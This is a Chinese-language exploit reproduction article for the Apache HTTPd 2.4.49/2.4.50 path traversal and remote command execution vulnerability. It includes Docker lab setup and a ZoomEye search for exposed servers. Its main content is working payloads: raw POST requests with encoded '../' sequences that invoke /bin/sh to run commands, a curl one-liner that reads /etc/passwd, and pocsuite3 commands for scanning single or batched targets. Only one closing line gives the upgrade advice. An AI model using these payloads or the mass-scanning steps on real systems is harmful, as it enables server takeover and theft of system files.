0x01 漏洞简介：

    Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。在Apache HTTPd 2.4.49版本中，存在一个 路径穿越漏洞。在配置了 Require all granted后，攻击者可利用路径穿越漏洞读取到Web目录之外的其他文件，比 如/etc/passwd文件。同时若Apache HTTPd开启了cgi支持，并能够访问到/bin/sh的情况下，攻击者可构造恶意请 求执行命令，从而控制服务器，危害严重。

0x02 影响版本：

ApacheHTTPd 2.4.49 ApacheHTTPd 2.4.50

0x03 漏洞等级:

高危

0x04 环境搭建:

docker部署命令（一）：

docker pull blueteamsteve/cve-2021-41773:with-cgid

docker run -d -p 7006:80 blueteamsteve/cve-2021-41773:with-cgid

http://ip:7006


docker部署命令（二）：

git clonehttps://github.com/blasty/CVE-2021-41773.git

cd CVE-2021-41773/

docker-compose build

docker-compose up -d

http://ip:8080

0x05 影响范围：

根据ZoomEye网络空间搜索引擎对潜在可能目标进行搜索，共得到 566,346 条IP历史记录。

ZoomEye语法：

app:"apache web server 2.4.49 2.4.50"

ZoomEye搜索链接：

https://www.zoomeye.org/searchResult?q=app%3A%22apache%20web%20server%202.4.49%202.4.50%22

0x06 漏洞复现：

PoC:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1Host: ip:portCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "29cd-5ce4665e39700-gzip"If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 39
echo Content-Type: text/plain; echo; id

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: ip:portCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "29cd-5ce4665e39700-gzip"If-Modified-Since: Thu, 14 Oct 2021 01:57:16 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 12
echo; whoami

curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'

单个检测命令如下：

python3 .\cli.py -r .\pocs\20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -u  https://*.*.*.* --verify

批量检测命令如下：

python3 .\cli.py -r .\pocs\20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -f 1.txt --verify

获取脚本直达车↓↓↓

https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py

0x07 建议解决方案:

若低于2.4.49版本，可不升级若Apache HTTPd为 2.4.49、2.4.50版本，请尽快升级至安全版本